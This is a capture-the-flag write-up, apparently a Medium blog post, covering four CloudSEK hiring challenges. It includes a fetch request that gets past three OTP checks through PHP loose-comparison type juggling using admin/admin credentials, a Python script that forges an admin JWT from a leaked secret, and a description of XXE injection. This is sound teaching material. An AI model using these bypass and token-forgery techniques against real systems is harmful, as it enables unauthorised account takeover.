During this weekend (Saturday), I participated in the CloudSek Hiring CTF, which consisted of four challenges focused on practical skills in web exploitation and scripting. In this write-up, I’ve combined all four challenge solutions into a single article — covering the process, exploitation techniques, and final outcomes for each one.

Challenge 1

Challenge Name: Nitro Category: Scripting

Points: 100

Challenge site :

From the challenge description it tells that to visit /task and the server will return a random string in HTML snippet.

We need to reverse this string and reverse the base64 encode string.

Also we need to wrap it as : CSK__{{payload}}__2025

After POST this wrapped payload to /submit before timer expires that means manual is too slow and we need to automate it by generating a script.

So we must write a script that can automatically fetch the /task , Extract the string, Reverse it, Base 64 encode the string, wrap it and post it to the format CSK__{{payload}}__2025 also the loop must be continued until the flag is received.

So I automated this string using Python and request.Session() to maintain cookies.

import time import re import base64 import sys import requests from html import unescape # Configure target BASE_URL = "http://15.206.47.5:9090" TASK_PATH = "/task" SUBMIT_PATH = "/submit" # How long to wait between iterations (seconds). Keep small but non-zero to be polite. SLEEP_BETWEEN = 0.08 # (Optional) stop after N attempts; set to None to run forever MAX_ATTEMPTS = None # Regex to find a likely random token in the HTML response. # This is permissive: letters, digits, +, /, = (base64-ish) and punctuation. TOKEN_RE = re.compile(r"([A-Za-z0-9+/=._-]{6,200})") # (Optional) regex for detecting flag in server response; adjust if needed. FLAG_RE = re.compile(r"(FLAG\{.*?\}|CSK\{.*?\}|[A-Za-z0-9_\-]{10,})", re.IGNORECASE) session = requests.Session() session.headers.update({ "User-Agent": "nitro-automation/1.0" }) def fetch_task(): """GET /task and return the response text""" url = BASE_URL + TASK_PATH r = session.get(url, timeout=5) r.raise_for_status() return r.text def extract_token(html_text): """ Try to extract the random string from the HTML snippet. We unescape HTML and search for a token-like substring. If the server uses a specific tag, you may want to tighten this. """ text = unescape(html_text) # Remove HTML tags for easier token discovery text_no_tags = re.sub(r"<[^>]+>", " ", text) candidates = TOKEN_RE.findall(text_no_tags) # Heuristic: pick the longest candidate (likely the random string) if not candidates: return None candidates = sorted(set(candidates), key=len, reverse=True) return candidates[0].strip() def make_payload(token_str): """ Reverse the token, base64-encode the reversed bytes, and wrap as requested: CSK__{payload}__2025 """ # Ensure token is a str token_str = token_str.strip() reversed_str = token_str[::-1] # Base64 encode the reversed string bytes b64 = base64.b64encode(reversed_str.encode("utf-8")).decode("ascii") payload = f"CSK__{b64}__2025" return payload def submit_answer(payload): """ Submit payload to /submit. The challenge tip says "Use raw text or form fields". We'll try form field first, with fallback to raw text if server expects raw body. Returns the server response text. """ url = BASE_URL + SUBMIT_PATH # Try as form field named 'answer' (common) try: r = session.post(url, data={"answer": payload}, timeout=5) except Exception as e: # fallback to raw body if network error r = None # If we got a response but it's a "bad method" or not accepted, try raw text if r is None or r.status_code >= 400: r = session.post(url, data=payload.encode("utf-8"), headers={"Content-Type": "text/plain"}, timeout=5) # Return response status and text return r.status_code, r.text def looks_like_flag(text): if not text: return False if "too slow" in text.lower(): return False # If the server returns a clear flag string or some success message, this will catch it. return bool(FLAG_RE.search(text)) def main(): attempt = 0 print(f"[+] Starting nitro automation against {BASE_URL}") try: while MAX_ATTEMPTS is None or attempt < (MAX_ATTEMPTS or 0): attempt += 1 try: html = fetch_task() except Exception as e: print(f"[-] Failed to fetch /task: {e}") time.sleep(0.5) continue token = extract_token(html) if not token: print(f"[-] Could not find token on attempt {attempt}. Raw page snippet:") snippet = html[:400].replace("\n"," ") print(snippet) time.sleep(SLEEP_BETWEEN) continue payload = make_payload(token) status, resp_text = submit_answer(payload) # Print compact info print(f"[{attempt:04d}] token={token[:30]}... payload_len={len(payload)} status={status}") # Show server reply (first line) preview = resp_text.strip().splitlines() if preview: print(" ->", preview[0][:300]) # Check success condition if looks_like_flag(resp_text): print("\n[+] Likely flag or success response received:") print(resp_text.strip()) break # If server explicitly says "too slow" we might want to retry immediately or adjust timing if "too slow" in resp_text.lower(): print(" [!] Server says 'too slow' — consider lowering delay or speeding up network.") # continue looping; the session timer might reset on next /task time.sleep(SLEEP_BETWEEN) except KeyboardInterrupt: print("\n[!] Interrupted by user. Exiting.") sys.exit(0) if __name__ == "__main__": main()

And got the flag:

Flag is:

ClOuDsEk_ReSeArCH_tEaM_CTF_2025{ab03730caf95ef90a440629bf12228d4}

Challenge 2

Challenge Name: Bad feedback

Category: Web exploitation

Points: 100

Challenge site :

While analysing the page source code, I noticed the form data wasn’t sent normally. Instead, a JavaScript function manually constructed an XML payload and sent it via a POST request.

Since the description mentioned the server “trusts all input,” this setup is a textbook case for XML External Entity (XXE) Injection.

To get the flag from the root, I needed to inject a malicious DOCTYPE with a system entity. I used the DevTools console to send a custom fetch request with the XML payload.

Console Command used :

Challenge 3

Challenge Name: Triangle

Category: Web exploitation

Points: 100

Challenge site :

The challenge presented a login page requiring a Username, Password, and three separate OTPs. Inspecting the page source, I found a developer comment mentioning a “TODO” and “bak files.”

Based on this hint, I navigated to / login.php.bak and successfully downloaded the server-side source code.

<?php require('google2fa.php'); require('jsonhandler.php'); $FLAG = ""; if (isset($_ENV['FLAG'])) { $FLAG = $_ENV['FLAG']; } $USER_DB = [ // Set the initial user "admin" => [ "password_hash" => password_hash("admin", PASSWORD_DEFAULT), "key1" => Google2FA::generate_secret_key(), "key2" => Google2FA::generate_secret_key(), "key3" => Google2FA::generate_secret_key() ] ]; if (isset($_DATA['username'])) { if (!isset($USER_DB[$_DATA['username']])) { json_die('wrong username', 'username'); } $user_data = $USER_DB[$_DATA['username']]; if (!password_verify($_DATA['password'], $user_data['password_hash'])) { json_die('wrong password', 'password'); } if (!Google2FA::verify_key($user_data['key1'], $_DATA['otp1'])) { json_die('wrong otp1', 'otp1'); } if (!Google2FA::verify_key($user_data['key2'], $_DATA['otp2'])) { json_die('wrong otp2', 'otp2'); } if (!Google2FA::verify_key($user_data['key3'], $_DATA['otp3'])) { json_die('wrong otp3', 'otp3'); } json_response("Flag: " . $FLAG); } json_response("OK");

While analysing the login.php.bak I found out 2 critical things :

1. Credentials — username : admin , password : admin
2. And juggling vulnerability — application handles JSON input.The verify_key function compares the correct OTP (a string) with the user input. In PHP, a loose comparison between a non-empty string and the boolean true returns True.

So to bypass the 3 OTP checks, I created a JSON POST request with the credentials i got and set the OTP field to value true.

Console Command Used :

fetch("/login.php", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ username: "admin", password: "admin", otp1: true, otp2: true, otp3: true }) }) .then(r => r.json()) .then(console.log);

Got the flag : ClOuDsEk_ReSeArCH_tEaM_CTF_2025{474a30a63ef1f14e252dc0922f811b16}

Challenge 4

Challenge Name: Ticket

Category: Web exploitation

Points: 100

The Website path is given , the path is https://bevigil.com/report/com.strikebank.netbanking

So while going through each category given on the website of the SecureBank application, from the assets section I found a URL of the bank.

http://15.206.47.5.nip.io:844

Also while analysing the assets section I found encoded_jwt_token

Which decoded to the key : str!k3b4nk@1009%sup3r!s3cr37

And from the strings section I found the user credentials to login.

Username : tuhin1729

Password : 123456

Let’s try accessing it.

After logging in the web page is just giving a index.php and no other information.

While analysing I found out the web portal uses JSON Web Tokens (JWT) for session management.

So I intercepted the login page using Burpsuite and captured the auth token of the current user.

I used the secret key that we found earlier to generate the Admin Token . Here is the script :

import jwt import datetime 

# 1. The Full Secret you found secret = "str!k3b4nk@1009%sup3r!s3cr37" 

# 2. Create the Admin Payload payload = { "username": "admin", # Set expiration to 1 year in the future so it doesn't expire "exp": datetime.datetime.utcnow() + datetime.timedelta(days=365) } 

# 3. Generate the Token admin_token = jwt.encode(payload, secret, algorithm="HS256") 

print("\n" + "="*50) print("YOUR ADMIN TOKEN:") print("="*50) print(admin_token) print("="*50)

And the result is :

Let’s change the token in Repeater of Burpsuite:

Hurray we found the flag.

The flag is : ClOuDsEk_ReSeArCH_tEaM_CTF_2025{ccf62117a030691b1ac7013fca4fb685}

Thanks for reading my writeup Follow me on Linkedin and X

CloudSEK Hiring CTF Writeup was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.